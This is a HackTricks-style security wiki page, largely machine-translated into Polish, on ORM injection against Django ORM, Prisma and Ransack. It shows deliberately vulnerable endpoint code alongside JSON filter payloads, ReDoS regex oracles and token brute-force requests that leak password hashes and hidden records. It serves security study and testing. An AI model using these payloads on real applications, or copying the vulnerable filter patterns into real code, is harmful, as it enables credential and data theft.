# ORM Injection {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Django ORM (Python) W [**tym po艣cie**](https://www.elttam.com/blog/plormbing-your-django-orm/) wyja艣niono, jak mo偶na uczyni膰 Django ORM podatnym, u偶ywaj膮c na przyk艂ad kodu takiego jak:
class ArticleView(APIView):
"""
Podstawowy widok API, do kt贸rego u偶ytkownicy wysy艂aj膮 偶膮dania w celu
wyszukiwania artyku艂贸w
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Zauwa偶, jak wszystkie request.data (kt贸re b臋d膮 w formacie json) s膮 bezpo艣rednio przekazywane do **filtr贸w obiekt贸w z bazy danych**. Atakuj膮cy m贸g艂by wys艂a膰 nieoczekiwane filtry, aby wyciek艂o wi臋cej danych, ni偶 si臋 spodziewano. Przyk艂ady: * **Logowanie:** W prostym logowaniu spr贸buj wyciekowa膰 has艂a u偶ytkownik贸w zarejestrowanych w systemie. ```json { "username": "admin", "password_startswith":"a" } ``` {% hint style="danger" %} Mo偶liwe jest przeprowadzenie ataku brute-force na has艂o, a偶 zostanie ujawnione. {% endhint %} * **Filtracja relacyjna**: Mo偶liwe jest przeszukiwanie relacji w celu ujawnienia informacji z kolumn, kt贸re nie by艂y nawet oczekiwane w operacji. Na przyk艂ad, je艣li mo偶liwe jest ujawnienie artyku艂贸w stworzonych przez u偶ytkownika z tymi relacjami: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`). ```json { "created_by__user__password__contains":"pass" } ``` {% hint style="danger" %} Mo偶liwe jest znalezienie has艂a wszystkich u偶ytkownik贸w, kt贸rzy stworzyli artyku艂 {% endhint %} * **Filtrowanie relacji wiele-do-wielu**: W poprzednim przyk艂adzie nie mogli艣my znale藕膰 hase艂 u偶ytkownik贸w, kt贸rzy nie stworzyli artyku艂u. Jednak偶e, pod膮偶aj膮c za innymi relacjami, jest to mo偶liwe. Na przyk艂ad: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`). ```json { "created_by__departments__employees__user_startswith":"admi" } ``` {% hint style="danger" %} W tym przypadku mo偶emy znale藕膰 wszystkich u偶ytkownik贸w w dzia艂ach u偶ytkownik贸w, kt贸rzy stworzyli artyku艂y, a nast臋pnie wyciekowa膰 ich has艂a (w poprzednim jsonie wyciekamy tylko nazwy u偶ytkownik贸w, ale p贸藕niej mo偶liwe jest wyciekni臋cie hase艂). {% endhint %} * **Wykorzystywanie relacji wiele-do-wielu mi臋dzy grupami a uprawnieniami w Django**: Co wi臋cej, model AbstractUser jest u偶ywany do generowania u偶ytkownik贸w w Django i domy艣lnie model ten ma pewne **relacje wiele-do-wielu z tabelami Permission i Group**. Co zasadniczo jest domy艣lnym sposobem **dost臋pu do innych u偶ytkownik贸w z jednego u偶ytkownika**, je艣li s膮 w **tej samej grupie lub dziel膮 te same uprawnienia**. ```bash # By users in the same group created_by__user__groups__user__password # By users with the same permission created_by__user__user_permissions__user__password ``` * **Obej艣cie ogranicze艅 filtr贸w**: Ten sam post na blogu zaproponowa艂 obej艣cie u偶ycia niekt贸rych filtr贸w, takich jak `articles = Article.objects.filter(is_secret=False, **request.data)`. Mo偶liwe jest zrzucenie artyku艂贸w, kt贸re maj膮 is\_secret=True, poniewa偶 mo偶emy wr贸ci膰 z relacji do tabeli Article i wyciekowa膰 sekretnych artyku艂贸w z niesekretnych artyku艂贸w, poniewa偶 wyniki s膮 艂膮czone, a pole is\_secret jest sprawdzane w niesekretnym artykule, podczas gdy dane s膮 wyciekane z sekretnym artyku艂em. ```bash Article.objects.filter(is_secret=False, categories__articles__id=2) ``` {% hint style="danger" %} Wykorzystuj膮c relacje, mo偶liwe jest omini臋cie nawet filtr贸w maj膮cych na celu ochron臋 wy艣wietlanych danych. {% endhint %} * **B艂膮d/Czas oparty na ReDoS**: W poprzednich przyk艂adach oczekiwano r贸偶nych odpowiedzi, je艣li filtracja dzia艂a艂a lub nie, aby u偶y膰 tego jako oracle. Ale mo偶e si臋 zdarzy膰, 偶e jaka艣 akcja jest wykonywana w bazie danych i odpowied藕 jest zawsze taka sama. W tym scenariuszu mo偶liwe by艂oby wywo艂anie b艂臋du w bazie danych, aby uzyska膰 nowy oracle. ```json // Non matching password { "created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$" } // ReDoS matching password (will show some error in the response or check the time) {"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"} ``` From te same post regarding this vector: * **SQLite**: Domy艣lnie nie ma operatora regexp (wymaga za艂adowania rozszerzenia firm trzecich) * **PostgreSQL**: Nie ma domy艣lnego limitu czasu regex i jest mniej podatny na backtracking * **MariaDB**: Nie ma limitu czasu regex ## Prisma ORM (NodeJS) The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/). * **Full find control**:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});
It's possible to see that the whole javascript body is passed to prisma to perform queries. In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...) ```json { "filter": { "include": { "createdBy": true } } } // Response [ { "id": 1, "title": "Buy Our Essential Oils", "body": "They are very healthy to drink", "published": true, "createdById": 1, "createdBy": { "email": "karen@example.com", "id": 1, "isAdmin": false, "name": "karen", "password": "super secret passphrase", "resetToken": "2eed5e80da4b7491" } }, ... ] ``` ```markdown Nast臋puj膮ce zapytanie wybiera wszystkie posty utworzone przez kogo艣 z has艂em i zwr贸ci has艂o: ``` ```json { "filter": { "select": { "createdBy": { "select": { "password": true } } } } } // Response [ { "createdBy": { "password": "super secret passphrase" } }, ... ] ``` * **Pe艂na kontrola nad klauzul膮 where**: Przyjrzyjmy si臋 temu, gdzie atak mo偶e kontrolowa膰 klauzul臋 `where`:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Wra偶liwe na wycieki ORM
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});
Mo偶liwe jest bezpo艣rednie filtrowanie hase艂 u偶ytkownik贸w, jak: ```javascript await prisma.article.findMany({ where: { createdBy: { password: { startsWith: "pas" } } } }) ``` {% hint style="danger" %} U偶ywaj膮c operacji takich jak `startsWith`, mo偶liwe jest wyciekni臋cie informacji. {% endhint %} * **Obchodzenie filtrowania w relacjach wiele-do-wielu:** ```javascript app.post('/articles', async (req, res) => { try { const query = req.body.query; query.published = true; const posts = await prisma.article.findMany({ where: query }) res.json(posts); } catch (error) { res.json([]); } }); ``` Mo偶liwe jest wyciekni臋cie nieopublikowanych artyku艂贸w poprzez powracanie do relacji wiele-do-wielu mi臋dzy `Category` -\[\*..\*]-> `Article`: ```json { "query": { "categories": { "some": { "articles": { "some": { "published": false, "{articleFieldToLeak}": { "startsWith": "{testStartsWith}" } } } } } } } ``` Mo偶liwe jest r贸wnie偶 wyciekni臋cie wszystkich u偶ytkownik贸w, nadu偶ywaj膮c niekt贸rych relacji wiele-do-wielu z p臋tl膮: ```json { "query": { "createdBy": { "departments": { "some": { "employees": { "some": { "departments": { "some": { "employees": { "some": { "departments": { "some": { "employees": { "some": { "{fieldToLeak}": { "startsWith": "{testStartsWith}" } } } } } } } } } } } } } } } } ``` * **B艂臋dy/Zapytania czasowe**: W oryginalnym po艣cie mo偶na przeczyta膰 bardzo obszerny zestaw test贸w przeprowadzonych w celu znalezienia optymalnego 艂adunku do wycieku informacji za pomoc膮 艂adunku opartego na czasie. To jest: ```json { "OR": [ { "NOT": {ORM_LEAK} }, {CONTAINS_LIST} ] } ``` Gdzie `{CONTAINS_LIST}` to lista z 1000 ci膮gami, aby upewni膰 si臋, 偶e **odpowied藕 jest op贸藕niona, gdy zostanie znaleziony poprawny leak.** ## **Ransack (Ruby)** Te sztuczki zosta艂y [**znalezione w tym po艣cie**](https://positive.security/blog/ransack-data-exfiltration)**.** {% hint style="success" %} **Zauwa偶, 偶e Ransack 4.0.0.0 teraz wymusza u偶ycie jawnej listy dozwolonych atrybut贸w i powi膮za艅 do przeszukiwania.** {% endhint %} **Przyk艂ad podatny:** ```ruby def index @q = Post.ransack(params[:q]) @posts = @q.result(distinct: true) end ``` Zauwa偶, jak zapytanie b臋dzie definiowane przez parametry wysy艂ane przez atakuj膮cego. Mo偶liwe by艂o na przyk艂ad przeprowadzenie brute-force na tokenie resetuj膮cym za pomoc膮: ```http GET /posts?q[user_reset_password_token_start]=0 GET /posts?q[user_reset_password_token_start]=1 ... ``` By brute-forcing i potencjalnie relacjami mo偶liwe by艂o wyciekni臋cie wi臋kszej ilo艣ci danych z bazy danych. ## References * [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/) * [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/) * [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}